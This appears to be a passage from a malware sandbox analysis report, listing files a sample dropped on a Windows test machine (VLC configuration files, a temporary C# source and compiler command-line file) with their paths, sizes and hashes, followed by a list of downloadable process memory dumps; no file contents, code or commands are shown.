SHA512 2b0a1717d96edb47bdf0ffeb250a5ec11f7d0638d3e0a62fbe48c064379b473ca88ffbececb32a72129d06c040b107834f1004ccda5f0f35b8c3588034786461
TLSH
T135E0CDAC3084DC1147D1E513BBFAC0447775A0495AE95985E7E326B385411F4B631254
MD5 SHA1 SHA512 TLSH

Submit Download

vlc-qt-interface.ini

Path C:\Users\Admin\AppData\Roaming\vlc\vlc-qt-interface.ini
Size 550B
SHA256 65071324c3a0fb9ca193dd96ca507d03a490095f5b159408ae814fcbf778b83e
MD5 5259b8f67becd3e6def7aae027d9d3b6
SHA1 02f56eff9a7c4aa45a8a8bde225206b79b79529d
SHA512 d20ed9a81a87b5d8cdc3c1e65936017f1e8b7d806093fe9ccf6f9294ae452ba2dca69da17db12042bf8a53132a1d00d0d273ae2dbcfbcac544963d462e45d6d5
TLSH
T105F00E52042C407C81D4AF4A29FFD317BABBE341FB313301F0586551750D5AA29CBC9D
MD5 SHA1 SHA512 TLSH

Submit Download

vlcrc

Path C:\Users\Admin\AppData\Roaming\vlc\vlcrc
Size 94KB
SHA256 ec45f6e952b43eddc214dba703cf7f31398f3c9f535aad37f42237c56b9b778e
MD5 7b37c4f352a44c8246bf685258f75045
SHA1 817dacb245334f10de0297e69c98b4c9470f083e
SHA512 1e8d675b3c6c9ba257b616da268cac7f1c7a9db12ffb831ed5f8d43c0887d711c197ebc9daf735e3da9a0355bf21c2b29a2fb38a46482a2c5c8cd5628fea4c02
SSDEEP 1536:XJDiGWjxYmJPHzV1vC334+DmV3LrCE2y5h8LwgLgG6H:XJGGWjxYmP1a339D0XCE95aLwKgR
TLSH
T1B393A4C46C6020940897884735D5F180B91A712A9EFF1AFAD1FEFC5923848DAC5B9DFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5mcugqon.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\5mcugqon\5mcugqon.0.cs
Size 311B
SHA256 9a015aa8f36e6b135e9b423b498a9f7a1ba9c88ca290b986010ce647b644318c
MD5 15f236aace68dcfc8bd412f91e2e5f0b
SHA1 91d1bf483b9a1e027abf6bbd9862e6d813b2101d
SHA512 f48ed528c2eaa49e3f196df14300c6b6f47eebcacc4896fca64403c139dc2753ca6633926ea25793440948de60bc3da0f7c04a540c768a769f602ef618b3ef9b
TLSH
T113E07D4962C1FB70596641511902D1D07F1EE65304871C26B6CD03515F23F38E97C642
MD5 SHA1 SHA512 TLSH

Submit Download

5mcugqon.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\5mcugqon\5mcugqon.cmdline
Size 369B
SHA256 c76811df3820f2b27dc717569c8928c91222c8ce4347a349aca27c50084bc9a8
MD5 01910ae6999e37bf42403b4b77e07966
SHA1 3a544754643f980596602d161ce293cfef408640
SHA512 09164b7cf767ebe7bde05a724caf89b27b3546e5c14d1b481c3777363aa74b1c140873ad1a33c64b8ec0e83e244e85b8f818dd422f07b3ed63d3dbef8d8650cd
TLSH
T190E0C03A82E6C3FD02DD100B3169C7BCD2720B433B413F845840540DE0979086FD17D1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2C7E29A453F9419E86984B403BBD5575.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\5mcugqon\CSC2C7E29A453F9419E86984B403BBD5575.TMP
Size 652B
SHA256 1f2a036e07384bba1b261b555d86120ba48992618380dbc076404e2125235650
MD5 13134116bdcf545de21413975cb25ea1
SHA1 1f78b96208d682695469ee61d2b8194950cdaef4
SHA512 a8268b095073bf22a571f23ee5e03ae3346747c5f9416e8dd79ec2ce16f3c16ecda1d9539eaf425213ceb02695a57ea5f3305a1bb0bbff970c762af81a3ca12f
TLSH
T14BF05E0963F8530EF0F34B30BEF6836395A9FE65DE72A3ED1445036928649108962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2200-1-0x000001FB4C2D0000-0x000001FB4C2E0000-memory.dmp

Download

memory/2200-9-0x000001FB4C450000-0x000001FB4C472000-memory.dmp

Download

memory/2200-10-0x000001FB4CDF0000-0x000001FB4CFB2000-memory.dmp

Download

memory/2200-23-0x000001FB34170000-0x000001FB34178000-memory.dmp

Download

memory/2200-0-0x000001FB4C2D0000-0x000001FB4C2E0000-memory.dmp

Download

memory/2592-50-0x00007FF6A2550000-0x00007FF6A2648000-memory.dmp

Download

memory/2592-52-0x00007FFBF35E0000-0x00007FFBF3896000-memory.dmp

Download

memory/2592-51-0x00007FFC0AAD0000-0x00007FFC0AB04000-memory.dmp

Download

memory/4836-317-0x00007FFBF3640000-0x00007FFBF3681000-memory.dmp

Download

memory/4836-163-0x00007FFBF1F60000-0x00007FFBF22F0000-memory.dmp

Download

memory/4836-342-0x00007FFBF1690000-0x00007FFBF16DF000-memory.dmp

Download

memory/4836-323-0x00007FFBF19B0000-0x00007FFBF19C1000-memory.dmp

Download

memory/4836-321-0x00007FFBF19D0000-0x00007FFBF19FD000-memory.dmp

Download

memory/4836-322-0x00007FFBF6150000-0x00007FFBF616A000-memory.dmp

Download

memory/4836-256-0x00007FFBF1BE0000-0x00007FFBF1E76000-memory.dmp

Download

memory/4836-320-0x00007FFBF35E0000-0x00007FFBF3606000-memory.dmp

Download

memory/4836-319-0x00007FFBFD950000-0x00007FFBFD968000-memory.dmp

Download

memory/4836-318-0x00007FFBF3610000-0x00007FFBF363F000-memory.dmp

Download

memory/4836-343-0x00007FFBF1660000-0x00007FFBF1685000-memory.dmp

Download

memory/4836-316-0x00007FFBF1A00000-0x00007FFBF1AE3000-memory.dmp

Download

memory/4836-310-0x00007FFBF1AF0000-0x00007FFBF1BD8000-memory.dmp

Download

memory/4836-344-0x00007FFBF15B0000-0x00007FFBF165B000-memory.dmp

Download

memory/4836-345-0x00007FFBF1590000-0x00007FFBF15AB000-memory.dmp

Download

memory/4836-347-0x0000023F73BC0000-0x0000023F73FCE000-memory.dmp

Download

memory/4836-166-0x00007FFBF1E80000-0x00007FFBF1F52000-memory.dmp

Download

memory/4836-341-0x00007FFBF16E0000-0x00007FFBF1778000-memory.dmp

Download

memory/4836-348-0x00007FFBE6E00000-0x00007FFBE7045000-memory.dmp

Download

memory/4836-346-0x00007FFBF1570000-0x00007FFBF1582000-memory.dmp

Download

memory/4836-165-0x00007FFC01BD0000-0x00007FFC01BE1000-memory.dmp

Download

memory/4836-164-0x00007FFC021F0000-0x00007FFC02204000-memory.dmp

Download

memory/4836-162-0x00007FFC01C50000-0x00007FFC01C7B000-memory.dmp

Download

memory/4836-161-0x00007FFC01D60000-0x00007FFC01D82000-memory.dmp

Download

memory/4836-160-0x00007FFC02AA0000-0x00007FFC02AB9000-memory.dmp

Download

memory/4836-159-0x00007FFC0A6C0000-0x00007FFC0A6D1000-memory.dmp

Download

memory/4836-157-0x00007FFC02550000-0x00007FFC02584000-memory.dmp

Download

memory/4836-156-0x00007FF6A2550000-0x00007FF6A2648000-memory.dmp

Download

memory/4836-325-0x0000023F738D0000-0x0000023F73ADB000-memory.dmp

Download

memory/4836-324-0x00007FFBF1990000-0x00007FFBF19A1000-memory.dmp

Download

memory/4836-158-0x00007FFBF22F0000-0x00007FFBF25A6000-memory.dmp

Download

memory/4836-466-0x00007FFC02550000-0x00007FFC02584000-memory.dmp

Download

memory/4836-467-0x00007FFBF22F0000-0x00007FFBF25A6000-memory.dmp

Download

memory/4836-465-0x00007FF6A2550000-0x00007FF6A2648000-memory.dmp

Download